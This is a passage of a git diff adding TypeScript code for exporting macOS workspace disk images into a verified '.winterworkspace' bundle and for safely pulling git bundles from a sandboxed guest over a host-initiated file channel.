--git a/packages/core/src/cowork/export-io.ts b/packages/core/src/cowork/export-io.ts new file mode 100644 index 000000000..ea2bd0a5a --- /dev/null +++ b/packages/core/src/cowork/export-io.ts @@ -0,0 +1,186 @@ +/* + * File primitives for the `.winterworkspace` export writer and the restore flow: an APFS clone of a pinned image where the + * volume allows it, otherwise a sparse copy that skips zero blocks; xattr stripping; streaming hashes; an exclusive or atomic + * directory rename. Darwin arm64 only, like the rest of the volume layer (`volume-fs.ts`). + * + * Nothing here removes or truncates anything of the workspace. A destination is always CREATED (`O_EXCL`), never opened with + * `O_TRUNC`, and a sparse copy sets the final size with one positioned write rather than `ftruncate`. + */ +import { CString, dlopen, FFIType, read, toArrayBuffer } from "bun:ffi"; +import { createHash } from "node:crypto"; +import { closeSync, constants, fstatSync, fsyncSync, openSync, readSync, writeSync } from "node:fs"; + +const AT_FDCWD = -2; +export const RENAME_SWAP = 0x2, RENAME_EXCL = 0x4; +const BLOCK = 1024 * 1024, PAGE = 4096; + +function load() { + if (process.platform !== "darwin" || process.arch !== "arm64") throw new Error("unsupported_topology"); + return dlopen("/usr/lib/libSystem.B.dylib", { + fclonefileat: { args: [FFIType.i32, FFIType.i32, FFIType.ptr, FFIType.u32], returns: FFIType.i32 }, + renamex_np: { args: [FFIType.ptr, FFIType.ptr, FFIType.u32], returns: FFIType.i32 }, + flistxattr: { args: [FFIType.i32, FFIType.ptr, FFIType.u64, FFIType.i32], returns: FFIType.i64 }, + fremovexattr: { args: [FFIType.i32, FFIType.ptr, FFIType.i32], returns: FFIType.i32 }, + // Descriptor-relative reads (a held directory cannot be redirected by swapping a path component) and the ACL check. + openat: { args: [FFIType.i32, FFIType.ptr, FFIType.i32], returns: FFIType.i32 }, + fdopendir: { args: [FFIType.i32], returns: FFIType.ptr }, + readdir: { args: [FFIType.ptr], returns: FFIType.ptr }, + closedir: { args: [FFIType.ptr], returns: FFIType.i32 }, + acl_get_file: { args: [FFIType.ptr, FFIType.u32], returns: FFIType.ptr }, + acl_to_text: { args: [FFIType.ptr, FFIType.ptr], returns: FFIType.ptr }, + acl_free: { args: [FFIType.ptr], returns: FFIType.i32 }, + __error: { args: [], returns: FFIType.ptr }, + }); +} +let native: ReturnType | undefined; +const lib = () => native ??= load(); +const errno = (): number => { const address = lib().symbols.__error!(); return address === null ? 0 : read.i32(address, 0); }; +/** Every 16 MiB give the daemon's event loop a turn, and honour cancellation, so a multi-GiB image never freezes the daemon. */ +async function yieldToLoop(blocks: number, signal?: AbortSignal): Promise { + if (signal?.aborted) throw new ExportIoError("cancelled"); + if (blocks % 16 === 15) await new Promise(resolve => setImmediate(resolve)); +} +const cstr = (value: string): Buffer => Buffer.from(`${value}\0`); + +export class ExportIoError extends Error { constructor(readonly reason: string, readonly errno = 0) { super(reason); this.name = "ExportIoError"; } } + +/** Rename `from` to `to`. `exclusive` refuses an existing target; `swap` exchanges the two atomically (both must exist). */ +export function renameDirect(from: string, to: string, mode: "exclusive" | "swap"): void { + if (lib().symbols.renamex_np!(cstr(from), cstr(to), mode === "swap" ? RENAME_SWAP : RENAME_EXCL) !== 0) throw new ExportIoError(`rename_${mode}_refused`, errno()); +} + +/** Remove EVERY extended attribute of an open file, the sticky Time Machine exclusion included. */ +export function stripExtendedAttributes(fd: number): void { + const symbols = lib().symbols; + for (let attempt = 0; attempt < 4; attempt++) { + const size = Number(symbols.flistxattr!(fd, null, 0n, 0)); + if (size < 0) throw new ExportIoError("xattr_list_refused", errno()); + if (size === 0) return; + const names = Buffer.alloc(size), got = Number(symbols.flistxattr!(fd, names, BigInt(size), 0)); + if (got < 0) { if (errno() === 34 /* ERANGE: the list grew */) continue; throw new ExportIoError("xattr_list_refused", errno()); } + // Each name is passed back as the RAW bytes the kernel listed: a name that is not valid UTF-8 must not be re-encoded. + for (const raw of attributeNameBuffers(names.subarray(0, got))) { + if (symbols.fremovexattr!(fd, raw, 0) !== 0 && errno() !== 93 /* ENOATTR */) throw new ExportIoError("xattr_remove_refused", errno()); + } + if (hasExtendedAttributes(fd)) throw new ExportIoError("xattr_remain"); + return; + } + throw new ExportIoError("xattr_list_unstable"); +} +/** Split a `flistxattr` buffer into NUL-terminated raw names (the terminator kept), byte for byte. */ +export function attributeNameBuffers(list: Buffer): Buffer[] { + const out: Buffer[] = []; let start = 0; + for (let i = 0; i < list.length; i++) if (list[i] === 0) { out.push(Buffer.from(list.subarray(start, i + 1))); start = i + 1; } + return out; +} +export function hasExtendedAttributes(fd: number): boolean { + const size = Number(lib().symbols.flistxattr!(fd, null, 0n, 0)); + if (size < 0) throw new ExportIoError("xattr_list_refused", errno()); + return size > 0; +} + +/** Open `name` (one component) relative to a held directory, never following a link. Throws with the errno. */ +export function openAt(directoryFd: number, name: string, flags: number): number { + if (name === "" || name === "." || name === ".." || name.includes("/") || name.includes("\0")) throw new ExportIoError("bad_component"); + const fd = lib().symbols.openat!(directoryFd, cstr(name), flags | constants.O_NOFOLLOW | 0x01000000 /* O_CLOEXEC */) as number; + if (fd < 0) throw new ExportIoError("openat_refused", errno()); + return fd; +} +/** Open an absolute directory path for descriptor-relative work; a final symlink is refused. */ +export function openDirectoryNoFollow(path: string): number { + return openSync(path, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW | 0x01000000); +} +/** The entries of a held directory, sorted bytewise, without "." and "..". Names are returned only when they are valid UTF-8. */ +export function listDirectoryAt(directoryFd: number): string[] { + // A fresh open file description of the SAME held directory (`.` relative to it): a dup would share the read offset, so a + // second listing of the same descriptor would come back empty. + const symbols = lib().symbols, copy = symbols.openat!(directoryFd, cstr("."), constants.O_RDONLY | constants.O_DIRECTORY | 0x01000000) as number; + if (copy < 0) throw new ExportIoError("reopen_refused", errno()); + const dir = symbols.fdopendir!(copy); + if (dir === null) { closeSync(copy); throw new ExportIoError("fdopendir_refused", errno()); } + const names: Buffer[] = []; + try { + for (;;) { + const entry = symbols.readdir!(dir); + if (entry === null) break; + const length = read.u16(entry, 18), raw = Buffer.from(new Uint8Array(toArrayBuffer(entry, 21, length))); + if (raw.equals(Buffer.from("."))|| raw.equals(Buffer.from(".."))) continue; + names.push(raw); + } + } finally { symbols.closedir!(dir); } + names.sort(Buffer.compare); + return names.map(raw => { const text = raw.toString("utf8"); if (!Buffer.from(text, "utf8").equals(raw)) throw new ExportIoError("invalid_name"); return text; }); +} +/** Does this directory carry an ACL that lets anyone add files, delete children or change its contents? A chmod 0700 alone + * does not exclude an ACL entry. Fails closed (true) on a path it cannot judge. */ +export function hasWritableAcl(path: string): boolean { + const symbols = lib().symbols, acl = symbols.acl_get_file!(cstr(path), 0x100 /* ACL_TYPE_EXTENDED */); + if (acl === null) { const code = errno(); return code !== 2 && code !== 0; } // ENOENT: the path has no ACL; any other failure is not "safe" + try { + const text = symbols.acl_to_text!(acl, null); + if (text === null) return true; + try { + const dangerous = new Set(["write", "add_file", "add_subdirectory", "delete_child", "append", "delete", "writeattr", "writeextattr", "writesecurity", "chown"]); + return new CString(text).toString().split("\n").some(line => { const parts = line.split(":"); return parts.at(-2) === "allow" && parts.at(-1)!.split(",").some(permission => dangerous.has(permission)); }); + } finally { symbols.acl_free!(text); } + } finally { symbols.acl_free!(acl); } +} + +export type CopyMethod = "clone" | "sparse"; +/** + * Copy the whole of `sourceFd` (a pinned, already verified descriptor) into a NEW file at `destination`, mode 0600. APFS + * clonefile first where the volume allows (instant, shares extents), else a sparse copy. Returns how it was done. The + * destination's extended attributes are stripped in both cases: a clone carries the source's xattrs, which would hand the + * export the image's sticky backup exclusion, and "export is the backup path" needs the export to be backed up. + */ +export async function copyImageFile(sourceFd: number, destination: string, options: { readonly allowClone?: boolean; readonly signal?: AbortSignal } = {}): Promise { + const size = Number(fstatSync(sourceFd, { bigint: true }).size); + let method: CopyMethod = "sparse"; + if (options.allowClone !== false && lib().symbols.fclonefileat!(sourceFd, AT_FDCWD, cstr(destination), 0) === 0) method = "clone"; + else if (options.allowClone !== false) { + // ENOTSUP / EXDEV (not APFS, or another volume) fall back; EEXIST would mean the destination was not fresh. + if (errno() === 17) throw new ExportIoError("destination_exists", 17); + } + if (method === "sparse") await sparseCopy(sourceFd, destination, size, options.signal); + const fd = openSync(destination, constants.O_RDWR | constants.O_NOFOLLOW); + try { stripExtendedAttributes(fd); fsyncSync(fd); } finally { closeSync(fd); } + return method; +} +async function sparseCopy(sourceFd: number, destination: string, size: number, signal?: AbortSignal): Promise { + const fd = openSync(destination, constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL | constants.O_NOFOLLOW, 0o600); + try { + const buffer = Buffer.alloc(BLOCK); + for (let position = 0, blocks = 0; position < size; blocks++) { + await yieldToLoop(blocks, signal); + const want = Math.min(BLOCK, size - position), got = readSync(sourceFd, buffer, 0, want, position); + if (got <= 0) throw new ExportIoError("source_short_read"); + // Write only runs that contain a non-zero page; an all-zero page leaves a hole. + for (let page = 0; page < got; page += PAGE) { + const end = Math.min(got, page + PAGE); + if (buffer.subarray(page, end).some(byte => byte !== 0)) writeSync(fd, buffer, page, end - page, position + page); + } + position += got; + } + // The last byte is written explicitly so the file has its full length even when the tail is a hole. No ftruncate. + const last = Buffer.alloc(1); + if (size > 0) { readSync(sourceFd, last, 0, 1, size - 1); writeSync(fd, last, 0, 1, size - 1); } + fsyncSync(fd); + } finally { closeSync(fd); } +} + +/** sha256 and length of an open file's first `size` bytes, streaming. Never reads past `size`. */ +export async function hashDescriptor(fd: number, size: number, signal?: AbortSignal): Promise { + const hash = createHash("sha256"), buffer = Buffer.alloc(BLOCK); + for (let position = 0, blocks = 0; position < size; blocks++) { + await yieldToLoop(blocks, signal); + const got = readSync(fd, buffer, 0, Math.min(BLOCK, size - position), position); + if (got <= 0) throw new ExportIoError("source_short_read"); + hash.update(buffer.subarray(0, got)); position += got; + } + return hash.digest("hex"); +} +/** A cheap, strong-enough change stamp for a pinned file: identity, size and both change times in nanoseconds. */ +export function stampDescriptor(fd: number): string { + const st = fstatSync(fd, { bigint: true }); + return [st.dev, st.ino, st.nlink, st.uid, st.mode, st.size, st.mtimeNs, st.ctimeNs].join(":"); +} diff --git a/packages/core/src/cowork/export-writer.ts b/packages/core/src/cowork/export-writer.ts new file mode 100644 index 000000000..ee5ca8fc2 --- /dev/null +++ b/packages/core/src/cowork/export-writer.ts @@ -0,0 +1,216 @@ +/* + * The `.winterworkspace` WRITER: the byte-copying half of an export, on top of the record half in `exports.ts`. + * + * Document sentences followed: + * - cowork-execution-contracts.md: "Explicit exports require a consistent quiescent generation and disclose that exported + * images are plaintext."; "Provide a consistent export of stopped/checkpointed volumes plus manifest, shared-file snapshot + * and required image/runtime digests, bound to one recorded export generation". + * - cowork-storage-security.md (owner decisions 2026-10-16): an export is a `.winterworkspace` FOLDER bundle, plaintext; + * "export is the backup path" (the VM disks stay out of Time Machine, so the export itself must be backup-eligible). + * - exports.ts `prepare()`: "the future byte copy must re-verify, per image and on a pinned descriptor, identity + * (device/inode/owner), exact 0600 mode and the sticky backup exclusion ... before reading a byte". + * - cowork-execution-contracts.md: "Do not mount a live writable ext4 volume a second time on the Mac". + * + * Order: prepare (records the generation) -> copy into a sibling `.partial` folder -> two-pass shared snapshot -> write the + * manifest bytes the record holds -> integrity index -> fsync -> bind the contents in the record -> an EXCLUSIVE atomic rename to + * the final name -> only THEN `complete()` (refuses when canonical state moved, and the bundle is taken back). A generation is + * never `complete` for a bundle that does not exist: any earlier failure marks it failed and removes only its own folder. + * + * PORT. The images are read through `CoworkExportImageDoor`, a read-only, pinned-descriptor opener for a stopped, unowned + * workspace. Production supplies none: `CoworkVolumes.open` requires a running owner and opens `O_RDWR`, so the real door is + * a new method on that class (the exact diff is in the lane report). Nothing here opens an image by path. + */ +import { randomUUID } from "node:crypto"; +import { closeSync, fstatSync, lstatSync, mkdirSync, realpathSync, rmSync } from "node:fs"; +import { join, relative, sep } from "node:path"; +import type { RuntimeStateDb } from "../runtime-state/db"; +import { + BUNDLE_SHARED_ROOTS, BUNDLE_SUFFIX, DEFAULT_BUNDLE_LIMITS, OutputIdMapper, comparePaths, copyFdHashed, ensureDirectories, lstatOrNull, openRegularAt, openSubdirectoryAt, serializeIntegrity, + syncDirectory, walkRegularFilesAt, writeNewFile, type BundleFileEntry, type BundleLimits, type WalkBudget, +} from "./export-bundle"; +import { ExportIoError, copyImageFile, hasWritableAcl, hashDescriptor, openDirectoryNoFollow, renameDirect, stampDescriptor, type CopyMethod } from "./export-io"; +import type { CoworkExportRecord, CoworkExports, PreparedExport } from "./exports"; +import { CoworkLifecycleError, lifecycleFail, lifecycleId, sha256Hex } from "./storage-lifecycle"; + +export interface CoworkExportOpenImage { readonly fd: number; readonly capacityBytes: number; close(): void } +/** Read-only, pinned, verified opener for one image of a STOPPED, UNOWNED workspace. Production supplies none. */ +export interface CoworkExportImageDoor { + openStopped(workspaceId: string, purpose: "data" | "environment", proof: unknown): CoworkExportOpenImage; +} +/** + * What the database binds about a generation's bundle contents. Production: two columns on the `cowork_exports` row + * (`content_digest TEXT`, `output_map_json TEXT`, both NULL until the writer records them), written before `complete()` and + * read by restore. Nothing supplies it today; without it a restore is unbuildable (see `createCoworkWorkspaceRestorer`). + */ +export interface CoworkExportContentBinding { + record(exportId: string, binding: { readonly contentDigest: string; readonly outputIds: Readonly> }): void; + read(exportId: string): { readonly contentDigest: string; readonly outputIds: Readonly> } | null; +} +export interface CoworkExportWriterPorts { + readonly exports: CoworkExports; + readonly rs: RuntimeStateDb; + readonly home: string; + readonly images: CoworkExportImageDoor; + readonly binding: CoworkExportContentBinding; + readonly allowClone?: boolean; + readonly limits?: Partial; + /** Isolated fault testing only, never serialized or supplied by an RPC (as in `CoworkVolumes`). */ + readonly checkpoint?: (phase: string) => void | Promise; +} +export interface ExportInput { readonly workspaceId: string; readonly destinationParent: string; readonly name?: string; readonly proof: unknown; readonly signal?: AbortSignal } +export interface ExportResult { + readonly path: string; readonly exportId: string; readonly generation: number; readonly files: number; readonly bytes: number; readonly contentDigest: string; + readonly imageCopy: Readonly>; readonly disclosure: string; +} + +const PURPOSE_FILE = { data: "data.ext4", environment: "env.ext4" } as const; +const NAME = /^[A-Za-z0-9][A-Za-z0-9._ -]{0,99}$/; +type Row = Record; + +/** Everything canonical that would differ if the workspace were claimed, run, or changed between two looks. */ +function canonicalStamp(rs: RuntimeStateDb, workspaceId: string): string { + const workspace = rs.db.query("SELECT state,power,incarnation_id,lease_epoch,config_revision FROM cowork_workspaces WHERE workspace_id=?").get(workspaceId); + const volumes = rs.db.query("SELECT volume_id,purpose,state,filesystem_state,filesystem_uuid,owner_json,last_stop_id,updated_at,device,inode FROM cowork_volumes WHERE workspace_id=? ORDER BY purpose").all(workspaceId); + return JSON.stringify([workspace, volumes]); +} + +export class CoworkWorkspaceExporter { + private readonly limits: BundleLimits; + private readonly active = new Set(); + constructor(private readonly ports: CoworkExportWriterPorts) { this.limits = { ...DEFAULT_BUNDLE_LIMITS, ...ports.limits }; } + + /** A crash between `prepare` and `complete` leaves a generation `prepared`, which blocks every later export. This fails + * it, but only when THIS exporter is not the one working on it. Returns the failed record, or null when none was stuck. */ + abandonInterrupted(workspaceId: string, proof: unknown): CoworkExportRecord | null { + const stuck = this.ports.exports.inFlight(lifecycleId(workspaceId)); + if (!stuck) return null; + if (this.active.has(stuck.exportId)) return lifecycleFail("export_in_progress"); + return this.ports.exports.fail(stuck.exportId, proof); + } + + async export(input: ExportInput): Promise { + const workspaceId = lifecycleId(input.workspaceId); + const parent = this.destination(input.destinationParent); + const name = input.name === undefined ? undefined : (NAME.test(input.name) ? input.name : lifecycleFail("destination_invalid")); + // A named target that exists is refused before a generation is even prepared. + if (name !== undefined && lstatOrNull(join(parent, `${name}${BUNDLE_SUFFIX}`))) return lifecycleFail("bundle_exists"); + const prepared = this.ports.exports.prepare(workspaceId, input.proof); + this.active.add(prepared.exportId); + let owned: string | undefined; + try { + const finalPath = join(parent, `${name ?? `winter-workspace-g${prepared.generation}-${prepared.exportId}`}${BUNDLE_SUFFIX}`); + if (lstatOrNull(finalPath)) return lifecycleFail("bundle_exists"); + const partial = join(parent, `.${randomUUID()}.partial`); + mkdirSync(partial, { mode: 0o700 }); + owned = partial; + const built = await this.build(workspaceId, prepared, partial, input); + await this.ports.checkpoint?.("before-rename"); + try { renameDirect(partial, finalPath, "exclusive"); } + catch (error) { if (error instanceof ExportIoError && error.errno === 17) return lifecycleFail("bundle_exists"); throw error; } + owned = finalPath; // our own just-created folder: if the record then refuses to complete, it is taken back + await this.ports.checkpoint?.("before-complete"); + this.ports.exports.complete(prepared.exportId, input.proof); + owned = undefined; syncDirectory(parent); + return { ...built, path: finalPath }; + } catch (error) { + try { this.ports.exports.fail(prepared.exportId, input.proof); } catch { /* already failed: nothing to retract */ } + if (owned) { try { rmSync(owned, { recursive: true, force: true }); } catch { /* a leftover dot-folder is inert and never listed as a bundle */ } } + if (error instanceof CoworkLifecycleError) throw error; + if (error instanceof ExportIoError && error.reason === "cancelled") throw error; + return lifecycleFail("export_not_ready"); + } finally { this.active.delete(prepared.exportId); } + } + + /** A user-chosen existing folder: owned by this user, not group/world writable, no ACL granting writes, and never inside Cowork's own storage. */ + private destination(raw: string): string { + if (typeof raw !== "string" || !raw.startsWith("/") || raw.includes("\0")) return lifecycleFail("destination_invalid"); + let real: string, home: string; + try { real = realpathSync(raw); home = realpathSync(this.ports.home); } catch { return lifecycleFail("destination_invalid"); } + const st = lstatSync(real); + if (!st.isDirectory() || st.uid !== process.getuid?.() || (st.mode & 0o022) !== 0) return lifecycleFail("destination_invalid"); + // chmod bits alone do not exclude an ACL entry that lets another principal add files or delete children here. + if (hasWritableAcl(real)) return lifecycleFail("destination_invalid"); + const inside = relative(join(home, "cowork"), real); + if (!(inside === ".." || inside.startsWith(`..${sep}`))) return lifecycleFail("destination_invalid"); // Cowork's own storage tree, or the folder itself + return real; + } + + private async build(workspaceId: string, prepared: PreparedExport, partial: string, input: ExportInput): Promise> { + const { rs } = this.ports, signal = input.signal; + const before = canonicalStamp(rs, workspaceId); + const entries: BundleFileEntry[] = [], methods = {} as Record<"data" | "environment", CopyMethod>; + const partialFd = openDirectoryNoFollow(partial); + try { + for (const volume of [...prepared.manifest.volumes].sort((a, b) => comparePaths(a.relativePath, b.relativePath))) { + const purpose = volume.purpose, file = PURPOSE_FILE[purpose]; + const image = this.ports.images.openStopped(workspaceId, purpose, input.proof); + try { + // The door re-verified identity, mode and the sticky exclusion on this pinned descriptor; the size is the record's. + if (image.capacityBytes !== volume.capacityBytes || Number(fstatSync(image.fd).size) !== volume.capacityBytes) return lifecycleFail("recovery_required"); + const first = stampDescriptor(image.fd); + methods[purpose] = await copyImageFile(image.fd, join(partial, file), { allowClone: this.ports.allowClone, signal }); + await this.ports.checkpoint?.(`image-copied:${purpose}`); + // A byte written into the source during the copy changes its change time even when the size does not. + if (stampDescriptor(image.fd) !== first) return lifecycleFail("generation_stale"); + const copy = openRegularAt(partialFd, file); + try { + if (Number(fstatSync(copy).size) !== volume.capacityBytes) return lifecycleFail("export_not_ready"); + entries.push({ path: file, bytes: volume.capacityBytes, sha256: await hashDescriptor(copy, volume.capacityBytes, signal) }); + } finally { closeSync(copy); } + } finally { image.close(); } + } + } finally { closeSync(partialFd); } + const mapper = new OutputIdMapper(); + entries.push(...await this.snapshotShared(workspaceId, partial, mapper, signal)); + await this.ports.checkpoint?.("shared-snapshotted"); + const manifestBytes = Buffer.from(prepared.manifestJson, "utf8"); + writeNewFile(join(partial, "manifest.json"), manifestBytes); + entries.push({ path: "manifest.json", bytes: manifestBytes.length, sha256: sha256Hex(prepared.manifestJson) }); + entries.sort((a, b) => comparePaths(a.path, b.path)); + const integrityText = serializeIntegrity({ formatVersion: 1, kind: "cowork-workspace-export-integrity", exportId: prepared.exportId, manifestDigest: prepared.manifestDigest, files: entries }); + writeNewFile(join(partial, "integrity.json"), Buffer.from(integrityText, "utf8")); + syncDirectory(partial); + // Nothing canonical may have moved: a claim, a run, a release or a configuration change all differ here. + if (canonicalStamp(rs, workspaceId) !== before) return lifecycleFail("generation_stale"); + // Bind the contents to the generation's record before the bundle can appear. A restore refuses a bundle this does not match. + const contentDigest = sha256Hex(integrityText); + this.ports.binding.record(prepared.exportId, { contentDigest, outputIds: mapper.reverse }); + return { exportId: prepared.exportId, generation: prepared.generation, files: entries.length + 1, bytes: entries.reduce((sum, entry) => sum + entry.bytes, 0), contentDigest, imageCopy: methods, disclosure: prepared.disclosure }; + } + + /** The three whitelisted shared roots, walked on HELD descriptors with no-follow opens and a second full pass that must agree. */ + private async snapshotShared(workspaceId: string, partial: string, mapper: OutputIdMapper, signal?: AbortSignal): Promise { + const expected = join(realpathSync(this.ports.home), "cowork", "workspaces", workspaceId, "shared"); + let shared: string; + try { shared = realpathSync(expected); } catch { return []; } // no shared folder yet: nothing to export + if (shared !== expected) return lifecycleFail("bundle_unsafe"); + let sharedFd: number; + try { sharedFd = openDirectoryNoFollow(shared); } catch { return lifecycleFail("bundle_unsafe"); } + const held: Array<{ root: string; fd: number }> = []; + try { + for (const root of BUNDLE_SHARED_ROOTS) { const fd = openSubdirectoryAt(sharedFd, root); if (fd !== null) held.push({ root, fd }); } + const bundlePath = (root: string, path: string) => root === "outputs" ? `shared/outputs/${mapper.toBundle(path)}` : `shared/${root}/${path}`; + const walk = () => { const budget: WalkBudget = { files: 0, bytes: 0 }; return held.map(({ root, fd }) => ({ root, fd, files: walkRegularFilesAt(fd, this.limits, budget) })); }; + const first: BundleFileEntry[] = [], made = new Set(); + for (const { root, fd, files } of walk()) { + for (const file of files) { + const path = bundlePath(root, file.path); + ensureDirectories(partial, path, made); + const source = openRegularAt(fd, file.path, file); + try { const copied = await copyFdHashed(source, join(partial, path), { bytes: file.bytes, signal }); first.push({ path, bytes: copied.bytes, sha256: copied.sha256 }); } finally { closeSync(source); } + } + } + await this.ports.checkpoint?.("shared-pass-1"); + // Pass 2: the same tree, listed and hashed again from the source. A file that changed, appeared or vanished refuses. + const second: BundleFileEntry[] = []; + for (const { root, fd, files } of walk()) { + for (const file of files) { + const source = openRegularAt(fd, file.path, file); + try { second.push({ path: bundlePath(root, file.path), bytes: file.bytes, sha256: await hashDescriptor(source, file.bytes, signal) }); } finally { closeSync(source); } + } + } + if (JSON.stringify(first) !== JSON.stringify(second)) return lifecycleFail("generation_stale"); + return first; + } finally { for (const { fd } of held) closeSync(fd); closeSync(sharedFd); } + } +} diff --git a/packages/core/src/cowork/exports.ts b/packages/core/src/cowork/exports.ts index c5be3b7c1..77fd0eb77 100644 --- a/packages/core/src/cowork/exports.ts +++ b/packages/core/src/cowork/exports.ts @@ -71,6 +71,13 @@ export class CoworkExports { return row ? record(row) : null; } + /** The generation still being prepared for a workspace, if any. A crash between `prepare` and `complete`/`fail` leaves one + * behind, and it blocks every later export with `export_in_progress` until something calls `fail` on it. */ + inFlight(workspaceId: string): CoworkExportRecord | null { + const row = this.rs.db.query("SELECT * FROM cowork_exports WHERE workspace_id=? AND state='prepared'").get(lifecycleId(workspaceId)); + return row ? record(row) : null; + } + /** Record one export generation for a stopped, unowned workspace whose volumes are ready and whose images * are pinned. The manifest is derived from canonical rows inside this one transaction, so it describes one * state. Only one generation may be in flight per workspace. */ diff --git a/packages/core/src/cowork/git/publish-intake.ts b/packages/core/src/cowork/git/publish-intake.ts new file mode 100644 index 000000000..77e361961 --- /dev/null +++ b/packages/core/src/cowork/git/publish-intake.ts @@ -0,0 +1,86 @@ +import { createHash } from "node:crypto"; +import { GitPublicationError } from "./types"; + +/* + * Bundle intake: how a feature branch's commits get from the guest to the host in N2. + * + * N2 has no virtio-fs, no vsock and no guest network. The one channel is the guest FILE CHANNEL (stat, ranged read), which + * is host-initiated: the host asks, the guest answers bounded bytes. So the guest writes a FULL git bundle to a path the + * HOST chose, and the host pulls it with `stat` + sequential `readRange`, then hands the bytes to the publication broker + * (which re-verifies everything: header, pack budget, fsck, ancestry). Nothing here gives the guest a way to reach a + * remote, and nothing here pushes: the push is the host-side transport, behind the broker. + * + * The port below is STRUCTURAL on purpose. The guest file channel's own anti-wiring pin forbids any other src file from + * naming that module, so the real client is proven assignable to this port in a test, not by an import. Everything the + * port returns is untrusted guest bytes and is checked as such: binding echo, generation pinning, contiguous offsets, + * exact end of file, and a second stat after the last byte. + */ + +/** What every channel call binds. The HOST derives all of it; none of it comes from the guest. */ +export interface PublishBundleBinding { + readonly workspaceId: string; readonly sessionId: string; readonly locationId: string; readonly relativePath: string; + readonly incarnationId: string; readonly sourceRevision: number; +} +export interface PublishBundleStat extends PublishBundleBinding { readonly generation: string; readonly bytes: number; readonly kind: "file" } +export interface PublishBundleChunk extends PublishBundleStat { + readonly offset: number; readonly nextOffset: number; readonly eof: boolean; readonly content: Uint8Array; +} +export interface PublishBundlePort { + stat(input: PublishBundleBinding, options?: { readonly signal?: AbortSignal }): Promise; + readRange(input: PublishBundleBinding & { readonly expectedGeneration: string; readonly offset: number; readonly maxBytes?: number }, + options?: { readonly signal?: AbortSignal }): Promise; +} + +export const PUBLISH_CHUNK_BYTES = 256 * 1024; +const BINDING_KEYS = ["workspaceId", "sessionId", "locationId", "relativePath", "incarnationId", "sourceRevision"] as const; +const GENERATION = /^[a-f0-9]{64}$/; + +const fail = (code: ConstructorParameters[0]): never => { throw new GitPublicationError(code); }; +function sameBinding(a: PublishBundleBinding, b: PublishBundleBinding): boolean { return BINDING_KEYS.every(key => a[key] === b[key]); } + +/** The path the host asks for: derived from the request id alone, under a fixed staging directory. The guest never names it. */ +export function publishBundlePath(requestId: string): string { + if (typeof requestId !== "string" || !/^[a-zA-Z0-9_-]{1,128}$/.test(requestId)) return fail("invalid_request"); + return `.winter-publish/${requestId}.bundle`; +} + +export interface PulledBundle { readonly bytes: Uint8Array; readonly sha256: string; readonly generation: string } + +/** Pull one bundle. Any fault is a typed `GitPublicationError` that carries no guest text. */ +export async function pullPublishBundle(port: PublishBundlePort, binding: PublishBundleBinding, limits: { readonly maxBytes: number; readonly chunkBytes?: number }, signal?: AbortSignal): Promise { + const chunkBytes = limits.chunkBytes ?? PUBLISH_CHUNK_BYTES; + if (!Number.isSafeInteger(limits.maxBytes) || limits.maxBytes < 1 || !Number.isSafeInteger(chunkBytes) || chunkBytes < 1 || chunkBytes > PUBLISH_CHUNK_BYTES) return fail("invalid_request"); + const guard = async (call: () => Promise): Promise => { + if (signal?.aborted) return fail("cancelled"); + try { return await call(); } catch (error) { + if (error instanceof GitPublicationError) throw error; + if (signal?.aborted) return fail("cancelled"); + return fail("bundle_unavailable"); + } + }; + const options = { signal }; + const first = await guard(() => port.stat(binding, options)); + if (!first || first.kind !== "file" || !sameBinding(first, binding) || !GENERATION.test(first.generation) || !Number.isSafeInteger(first.bytes) || first.bytes < 1) return fail("bundle_unavailable"); + // The size budget is judged BEFORE one byte is read. + if (first.bytes > limits.maxBytes) return fail("object_budget"); + const out = new Uint8Array(first.bytes), hash = createHash("sha256"); + // Every reply but the last is EXACTLY as long as asked, so the number of calls is fixed by the size: a guest that dribbles a + // byte at a time (or replies empty) cannot hold the host in this loop. + const maxCalls = Math.ceil(first.bytes / chunkBytes); + let offset = 0, calls = 0; + while (offset < first.bytes) { + if (++calls > maxCalls) return fail("bundle_unavailable"); + const want = Math.min(chunkBytes, first.bytes - offset); + const chunk = await guard(() => port.readRange({ ...binding, expectedGeneration: first.generation, offset, maxBytes: want }, options)); + if (!chunk || !sameBinding(chunk, binding) || chunk.generation !== first.generation || chunk.bytes !== first.bytes || chunk.kind !== "file") return fail("bundle_stale"); + const length = chunk.content?.length; + // Contiguous, exactly as long as asked, never past the stat'ed size, EOF exactly where the size ends. + if (!(chunk.content instanceof Uint8Array) || chunk.offset !== offset || length !== want || chunk.nextOffset !== offset + length + || chunk.eof !== (offset + length === first.bytes)) return fail("bundle_unavailable"); + out.set(chunk.content, offset); hash.update(chunk.content); offset += length; + } + // Sandwich: the file the guest reports now is the file it reported first. + const last = await guard(() => port.stat(binding, options)); + if (!last || last.kind !== "file" || !sameBinding(last, binding) || last.generation !== first.generation || last.bytes !== first.bytes) return fail("bundle_stale"); + return { bytes: out, sha256: hash.digest("hex"), generation: first.generation }; +} diff --git a/packages/core/src/cowork/git/publish-service.ts b/packages/core/src/cowork/git/publish-service.ts new file mode 100644 index 000000000..ba7c935cf --- /dev/null +++ b/packages/core/src/cowork/git/publish-service.ts @@ -0,0 +1,157 @@ +import type { CoworkRepository } from "../repository"; +import { pullPublishBundle, publishBundlePath, type PublishBundlePort } from "./publish-intake"; +import { GitPublicationError, type PublicationReceipt, type PublicationRequest, type Publisher } from "./types"; + +/* + * Cowork feature-branch publish SERVICE (content-out lane). + * + * It composes pieces that already exist and loosens none of them: + * claims, the journal, the outbox and the events -> `CanonicalPublicationJournal` (one durable operation row per request, + * status and outbox notification in one transaction); + * authority -> `CurrentCoworkPublicationAuthority` (inside the broker, checked before + * the bundle is accepted and again before dispatch); + * owned commands and budgets -> `IsolatedGitExecutor` (fixed argv, scrubbed environment) and + * `checkPackBudget` / the broker's quarantine limits; + * the push itself -> the injected `PublicationTransport`, which is HOST-side and holds the + * credentials. The guest never sees a remote, a URL or a token. + * + * What this module adds: (1) the N2 transport, a host-initiated bundle PULL over the guest file channel, from a path the host + * derives; (2) the host-derived request (workspace from the session's binding, revisions from canonical records, never from + * guest JSON); (3) a per-workspace in-flight and rate budget; (4) a typed status read and a recovery entry. + * + * UNAVAILABLE BY CONSTRUCTION. `createCoworkPublishService(undefined)` is the only shape a production caller could build + * today, and every verb of it refuses `integration_unavailable`. The ports object (broker per workspace, journal per + * workspace, the guest bundle port, the canonical records) is never supplied by production. The broker keeps its own + * `isolatedFixture` guard and `availability()` untouched, so even a 